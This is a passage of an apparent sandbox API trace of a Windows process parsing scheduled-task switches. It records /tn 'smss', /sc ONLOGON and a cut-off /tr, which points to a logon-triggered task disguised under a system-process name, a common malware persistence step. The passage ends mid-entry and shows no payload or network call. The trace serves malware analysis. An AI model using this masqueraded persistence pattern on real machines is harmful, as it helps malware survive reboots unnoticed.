3 [0074.771] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tn|") returned 4 [0074.771] lstrlenW (lpString="|u|") returned 3 [0074.771] lstrlenW (lpString="|tn|") returned 4 [0074.771] SetLastError (dwErrCode=0x490) [0074.771] lstrlenW (lpString="p") returned 1 [0074.771] lstrlenW (lpString="p") returned 1 [0074.771] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.771] lstrlenW (lpString="tn") returned 2 [0074.771] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.771] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|p|") returned 3 [0074.771] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tn|") returned 4 [0074.771] lstrlenW (lpString="|p|") returned 3 [0074.771] lstrlenW (lpString="|tn|") returned 4 [0074.771] SetLastError (dwErrCode=0x490) [0074.771] lstrlenW (lpString="ru") returned 2 [0074.771] lstrlenW (lpString="ru") returned 2 [0074.771] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.771] lstrlenW (lpString="tn") returned 2 [0074.772] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.772] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|ru|") returned 4 [0074.772] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tn|") returned 4 [0074.772] lstrlenW (lpString="|ru|") returned 4 [0074.772] lstrlenW (lpString="|tn|") returned 4 [0074.772] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0074.772] SetLastError (dwErrCode=0x490) [0074.772] lstrlenW (lpString="rp") returned 2 [0074.772] lstrlenW (lpString="rp") returned 2 [0074.772] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.772] lstrlenW (lpString="tn") returned 2 [0074.772] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.772] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rp|") returned 4 [0074.772] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tn|") returned 4 [0074.772] lstrlenW (lpString="|rp|") returned 4 [0074.772] lstrlenW (lpString="|tn|") returned 4 [0074.772] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0074.772] SetLastError (dwErrCode=0x490) [0074.772] lstrlenW (lpString="sc") returned 2 [0074.772] lstrlenW (lpString="sc") returned 2 [0074.772] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.772] lstrlenW (lpString="tn") returned 2 [0074.772] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.772] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|sc|") returned 4 [0074.772] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tn|") returned 4 [0074.772] lstrlenW (lpString="|sc|") returned 4 [0074.772] lstrlenW (lpString="|tn|") returned 4 [0074.772] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0074.772] SetLastError (dwErrCode=0x490) [0074.772] lstrlenW (lpString="mo") returned 2 [0074.773] lstrlenW (lpString="mo") returned 2 [0074.773] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.773] lstrlenW (lpString="tn") returned 2 [0074.773] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.773] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|mo|") returned 4 [0074.773] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tn|") returned 4 [0074.773] lstrlenW (lpString="|mo|") returned 4 [0074.773] lstrlenW (lpString="|tn|") returned 4 [0074.773] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0074.773] SetLastError (dwErrCode=0x490) [0074.773] lstrlenW (lpString="d") returned 1 [0074.773] lstrlenW (lpString="d") returned 1 [0074.773] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.773] lstrlenW (lpString="tn") returned 2 [0074.773] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.773] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|d|") returned 3 [0074.773] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tn|") returned 4 [0074.773] lstrlenW (lpString="|d|") returned 3 [0074.773] lstrlenW (lpString="|tn|") returned 4 [0074.773] SetLastError (dwErrCode=0x490) [0074.773] lstrlenW (lpString="m") returned 1 [0074.773] lstrlenW (lpString="m") returned 1 [0074.773] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.773] lstrlenW (lpString="tn") returned 2 [0074.773] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.773] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|m|") returned 3 [0074.773] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tn|") returned 4 [0074.773] lstrlenW (lpString="|m|") returned 3 [0074.773] lstrlenW (lpString="|tn|") returned 4 [0074.774] SetLastError (dwErrCode=0x490) [0074.774] lstrlenW (lpString="i") returned 1 [0074.774] lstrlenW (lpString="i") returned 1 [0074.774] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.774] lstrlenW (lpString="tn") returned 2 [0074.774] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.774] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|i|") returned 3 [0074.774] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tn|") returned 4 [0074.774] lstrlenW (lpString="|i|") returned 3 [0074.774] lstrlenW (lpString="|tn|") returned 4 [0074.774] SetLastError (dwErrCode=0x490) [0074.774] lstrlenW (lpString="tn") returned 2 [0074.774] lstrlenW (lpString="tn") returned 2 [0074.774] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.774] lstrlenW (lpString="tn") returned 2 [0074.774] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.774] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tn|") returned 4 [0074.774] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tn|") returned 4 [0074.774] lstrlenW (lpString="|tn|") returned 4 [0074.774] lstrlenW (lpString="|tn|") returned 4 [0074.774] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0074.774] SetLastError (dwErrCode=0x0) [0074.774] SetLastError (dwErrCode=0x0) [0074.774] lstrlenW (lpString="smss") returned 4 [0074.774] lstrlenW (lpString="-/") returned 2 [0074.774] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0074.774] SetLastError (dwErrCode=0x490) [0074.774] SetLastError (dwErrCode=0x490) [0074.774] SetLastError (dwErrCode=0x0) [0074.774] lstrlenW (lpString="smss") returned 4 [0074.774] StrChrIW (lpStart="smss", wMatch=0x3a) returned 0x0 [0074.775] SetLastError (dwErrCode=0x490) [0074.775] SetLastError (dwErrCode=0x0) [0074.775] lstrlenW (lpString="smss") returned 4 [0074.775] SetLastError (dwErrCode=0x0) [0074.775] SetLastError (dwErrCode=0x0) [0074.775] lstrlenW (lpString="/sc") returned 3 [0074.775] lstrlenW (lpString="-/") returned 2 [0074.775] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.775] lstrlenW (lpString="create") returned 6 [0074.775] lstrlenW (lpString="create") returned 6 [0074.775] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.775] lstrlenW (lpString="sc") returned 2 [0074.775] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.775] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|create|") returned 8 [0074.775] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|sc|") returned 4 [0074.775] lstrlenW (lpString="|create|") returned 8 [0074.775] lstrlenW (lpString="|sc|") returned 4 [0074.775] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0074.775] SetLastError (dwErrCode=0x490) [0074.775] lstrlenW (lpString="?") returned 1 [0074.775] lstrlenW (lpString="?") returned 1 [0074.775] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.775] lstrlenW (lpString="sc") returned 2 [0074.775] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.775] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|?|") returned 3 [0074.775] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|sc|") returned 4 [0074.775] lstrlenW (lpString="|?|") returned 3 [0074.775] lstrlenW (lpString="|sc|") returned 4 [0074.775] SetLastError (dwErrCode=0x490) [0074.775] lstrlenW (lpString="s") returned 1 [0074.775] lstrlenW (lpString="s") returned 1 [0074.776] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.776] lstrlenW (lpString="sc") returned 2 [0074.776] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.776] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|s|") returned 3 [0074.776] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|sc|") returned 4 [0074.776] lstrlenW (lpString="|s|") returned 3 [0074.776] lstrlenW (lpString="|sc|") returned 4 [0074.776] SetLastError (dwErrCode=0x490) [0074.776] lstrlenW (lpString="u") returned 1 [0074.776] lstrlenW (lpString="u") returned 1 [0074.776] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.776] lstrlenW (lpString="sc") returned 2 [0074.776] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.776] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|u|") returned 3 [0074.776] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|sc|") returned 4 [0074.776] lstrlenW (lpString="|u|") returned 3 [0074.776] lstrlenW (lpString="|sc|") returned 4 [0074.776] SetLastError (dwErrCode=0x490) [0074.776] lstrlenW (lpString="p") returned 1 [0074.776] lstrlenW (lpString="p") returned 1 [0074.776] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.776] lstrlenW (lpString="sc") returned 2 [0074.776] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.776] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|p|") returned 3 [0074.776] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|sc|") returned 4 [0074.776] lstrlenW (lpString="|p|") returned 3 [0074.776] lstrlenW (lpString="|sc|") returned 4 [0074.776] SetLastError (dwErrCode=0x490) [0074.777] lstrlenW (lpString="ru") returned 2 [0074.777] lstrlenW (lpString="ru") returned 2 [0074.777] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.777] lstrlenW (lpString="sc") returned 2 [0074.777] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.777] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|ru|") returned 4 [0074.777] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|sc|") returned 4 [0074.777] lstrlenW (lpString="|ru|") returned 4 [0074.777] lstrlenW (lpString="|sc|") returned 4 [0074.777] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0074.777] SetLastError (dwErrCode=0x490) [0074.777] lstrlenW (lpString="rp") returned 2 [0074.777] lstrlenW (lpString="rp") returned 2 [0074.777] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.777] lstrlenW (lpString="sc") returned 2 [0074.777] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.777] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rp|") returned 4 [0074.777] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|sc|") returned 4 [0074.777] lstrlenW (lpString="|rp|") returned 4 [0074.777] lstrlenW (lpString="|sc|") returned 4 [0074.777] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0074.777] SetLastError (dwErrCode=0x490) [0074.777] lstrlenW (lpString="sc") returned 2 [0074.777] lstrlenW (lpString="sc") returned 2 [0074.777] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.777] lstrlenW (lpString="sc") returned 2 [0074.777] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.777] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|sc|") returned 4 [0074.777] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|sc|") returned 4 [0074.778] lstrlenW (lpString="|sc|") returned 4 [0074.778] lstrlenW (lpString="|sc|") returned 4 [0074.778] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0074.778] SetLastError (dwErrCode=0x0) [0074.778] SetLastError (dwErrCode=0x0) [0074.778] lstrlenW (lpString="ONLOGON") returned 7 [0074.778] lstrlenW (lpString="-/") returned 2 [0074.778] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0074.778] SetLastError (dwErrCode=0x490) [0074.778] SetLastError (dwErrCode=0x490) [0074.778] SetLastError (dwErrCode=0x0) [0074.778] lstrlenW (lpString="ONLOGON") returned 7 [0074.778] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0074.778] SetLastError (dwErrCode=0x490) [0074.778] SetLastError (dwErrCode=0x0) [0074.778] GetProcessHeap () returned 0x2d0000 [0074.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ee540 [0074.778] _memicmp (_Buf1=0x2ee540, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.778] lstrlenW (lpString="ONLOGON") returned 7 [0074.778] GetProcessHeap () returned 0x2d0000 [0074.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ee560 [0074.778] lstrlenW (lpString="ONLOGON") returned 7 [0074.778] lstrlenW (lpString=" \x09") returned 2 [0074.778] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0074.778] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0074.778] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0074.778] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0074.778] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0074.778] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0074.778] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0074.778] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0074.778] GetLastError () returned 0x0 [0074.778] lstrlenW (lpString="ONLOGON") returned 7 [0074.779] lstrlenW (lpString="ONLOGON") returned 7 [0074.779] SetLastError (dwErrCode=0x0) [0074.779] SetLastError (dwErrCode=0x0) [0074.779] lstrlenW (lpString="/tr") returned 3 [0074.779] lstrlenW (lpString="-/") returned 2 [0074.779] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.779] lstrlenW (lpString="create") returned 6 [0074.779] lstrlenW (lpString="create") returned 6 [0074.779] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.779] lstrlenW (lpString="tr") returned 2 [0074.779] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.779] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|create|") returned 8 [0074.779] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tr|") returned 4 [0074.779] lstrlenW (lpString="|create|") returned 8 [0074.779] lstrlenW (lpString="|tr|") returned 4 [0074.779] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0074.779] SetLastError (dwErrCode=0x490) [0074.779] lstrlenW (lpString="?") returned 1 [0074.779] lstrlenW (lpString="?") returned 1 [0074.779] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.779] lstrlenW (lpString="tr") returned 2 [0074.779] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.779] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|?|") returned 3 [0074.779] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tr|") returned 4 [0074.779] lstrlenW (lpString="|?|") returned 3 [0074.779] lstrlenW (lpString="|tr|") returned 4 [0074.779] SetLastError (dwErrCode=0x490) [0074.779] lstrlenW (lpString="s") returned 1 [0074.779] lstrlenW (lpString="s") returned 1 [0074.779] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.780] lstrlenW (lpString="tr") returned 2 [0074.780] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.780] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|s|") returned 3 [0074.780] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tr|") returned 4 [0074.780] lstrlenW (lpString="|s|") returned 3 [0074.780] lstrlenW (lpString="|tr|") returned 4 [0074.780] SetLastError (dwErrCode=0x490) [0074.780] lstrlenW (lpString="u") returned 1 [0074.780] lstrlenW (lpString="u") returned 1 [0074.780] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.780] lstrlenW (lpString="tr") returned 2 [0074.780] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.780] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|u|") returned 3 [0074.780] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tr|") returned 4 [0074.780] lstrlenW (lpString="|u|") returned 3 [0074.780] lstrlenW (lpString="|tr|") returned 4 [0074.780] SetLastError (dwErrCode=0x490) [0074.780] lstrlenW (lpString="p") returned 1 [0074.780] lstrlenW (lpString="p") returned 1 [0074.780] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.780] lstrlenW (lpString="tr") returned 2 [0074.780] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.780] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|p|") returned 3 [0074.780] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tr|") returned 4 [0074.780] lstrlenW (lpString="|p|") returned 3 [0074.780] lstrlenW (lpString="|tr|") returned 4 [0074.780] SetLastError (dwErrCode=0x490) [0074.780] lstrlenW (lpString="ru") returned 2 [0074.780] lstrlenW (lpString="ru") returned 2 [0074.780] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.781] lstrlenW (lpString="tr") returned 2 [0074.781] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.781] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|ru|") returned 4 [0074.781] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tr|") returned 4 [0074.781] lstrlenW (lpString="|ru|") returned 4 [0074.781] lstrlenW (lpString="|tr|") returned 4 [0074.781] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0074.781] SetLastError (dwErrCode=0x490) [0074.781] lstrlenW (lpString="rp") returned 2 [0074.781] lstrlenW (lpString="rp") returned 2 [0074.781] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.781] lstrlenW (lpString="tr") returned 2 [0074.781] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.781] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rp|") returned 4 [0074.781] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tr|") returned 4 [0074.781] lstrlenW (lpString="|rp|") returned 4 [0074.781] lstrlenW (lpString="|tr|") returned 4 [0074.781] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0074.781] SetLastError (dwErrCode=0x490) [0074.781] lstrlenW (lpString="sc") returned 2 [0074.781] lstrlenW (lpString="sc") returned 2 [0074.781] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.781] lstrlenW (lpString="tr") returned 2 [0074.781] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.781] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|sc|") returned 4 [0074.781] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tr|") returned 4 [0074.781] lstrlenW (lpString="|sc|") returned 4 [0074.781] lstrlenW (lpString="|tr|") returned 4 [0074.781] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0074.782] SetLastError (dwErrCode=0x490) [0074.782] lstrlenW (lpString="mo") returned 2 [0074.782] lstrlenW (lpString="mo") returned 2 [0074.782] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.782] lstrlenW (lpString="tr") returned 2 [0074.782] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.782] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|mo|") returned 4 [0074.782] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tr|") returned 4 [0074.782] lstrlenW (lpString="|mo|") returned 4 [0074.782] lstrlenW (lpString="|tr|") returned 4 [0074.782] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0074.782] SetLastError (dwErrCode=0x490) [0074.782] lstrlenW (lpString="d") returned 1 [0074.782] lstrlenW (lpString="d") returned 1 [0074.782] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.782] lstrlenW (lpString="tr") returned 2 [0074.782] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.782] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|d|") returned 3 [0074.782] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tr|") returned 4 [0074.782] lstrlenW (lpString="|d|") returned 3 [0074.782] lstrlenW (lpString="|tr|") returned 4 [0074.782] SetLastError (dwErrCode=0x490) [0074.782] lstrlenW (lpString="m") returned 1 [0074.782] lstrlenW (lpString="m") returned 1 [0074.782] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.782] lstrlenW (lpString="tr") returned 2 [0074.782] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.782] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|m|") returned 3 [0074.782] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tr|") returned 4 [0074.783] lstrlenW (lpString="|m|") returned 3 [0074.783] lstrlenW (lpString="|tr|") returned 4 [0074.783] SetLastError (dwErrCode=0x490) [0074.783] lstrlenW (lpString="i") returned 1 [0074.783] lstrlenW (lpString="i") returned 1 [0074.783] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.783] lstrlenW (lpString="tr") returned 2 [0074.783] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.783] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|i|") returned 3 [0074.783] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tr|") returned 4 [0074.783] lstrlenW (lpString="|i|") returned 3 [0074.783] lstrlenW (lpString="|tr|") returned 4 [0074.783] SetLastError (dwErrCode=0x490) [0074.783] lstrlenW (lpString="tn") returned 2 [0074.783] lstrlenW (lpString="tn") returned 2 [0074.783] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.783] lstrlenW (lpString="tr") returned 2 [0074.783] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.783] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tn|") returned 4 [0074.783] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tr|") returned 4 [0074.783] lstrlenW (lpString="|tn|") returned 4 [0074.783] lstrlenW 